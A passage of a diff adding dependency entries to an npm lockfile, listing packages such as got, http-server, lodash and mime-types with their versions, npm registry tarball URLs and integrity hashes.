"^1.0.0" + } + }, + "follow-redirects": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", + "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "requires": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.1.tgz", + "integrity": "sha512-Qm9hBEBu18wt1PO2flE7LPb30BHMQt1eQgbV76YntdNk73XZGpn3izvGTYxbGgzXKgbCjiia0uxTd3aTNQrY/g==" + }, + "cacheable-request": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", + "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "requires": { + "mimic-response": "^3.1.0" + } + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + }, + "json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "keyv": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "requires": { + "json-buffer": "3.0.1" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + }, + "p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" + }, + "responselike": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", + "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "requires": { + "lowercase-keys": "^2.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-symbol-support-x": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + }, + "has-to-string-tag-x": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", + "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "requires": { + "has-symbol-support-x": "^1.4.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "http-cache-semantics": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", + "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-server": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz", + "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==", + "requires": { + "basic-auth": "^1.0.3", + "colors": "^1.4.0", + "corser": "^2.0.1", + "ecstatic": "^3.3.2", + "http-proxy": "^1.18.0", + "minimist": "^1.2.5", + "opener": "^1.5.1", + "portfinder": "^1.0.25", + "secure-compare": "3.0.1", + "union": "~0.5.0" + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "requires": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "into-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz", + "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=", + "requires": { + "from2": "^2.1.1", + "p-is-promise": "^1.1.0" + } + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg=" + }, + "is-object": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", + "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==" + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" + }, + "is-retry-allowed": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", + "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "isurl": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", + "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", + "requires": { + "has-to-string-tag-x": "^1.2.0", + "is-object": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", + "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==" + }, + "mime-types": { + "version": "2.1.32", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", + "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", + "requires": { + "mime-db": "1.49.0" + } + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "normalize-url": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz", + "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==", + "requires": { + "prepend-http": "^2.0.0", + "query-string": "^5.0.1", + "sort-keys": "^2.0.0" + }, + "dependencies": { + "sort-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz", + "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=", + "requires": { + "is-plain-obj": "^1.0.0" + } + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "p-cancelable": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz", + "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ==" + }, + "p-event": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz", + "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==", + "requires": { + "p-timeout": "^2.0.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=" + }, + "p-timeout": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz", + "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==", + "requires": { + "p-finally": "^1.0.0" + } + }, + "pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "png-js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/png-js/-/png-js-1.0.0.tgz", + "integrity": "sha512-k+YsbhpA9e+EFfKjTCH3VW6aoKlyNYI6NYdTfDL4CIvFnvsuO84ttonmZE7rc+v23SLTH8XX+5w/Ak9v0xGY4g==" + }, + "portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "requires": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + } + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==" + }, + "qs": { + "version": "6.10.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", + "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "query-string": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", + "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", + "requires": { + "decode-uri-component": "^0.2.0", + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": 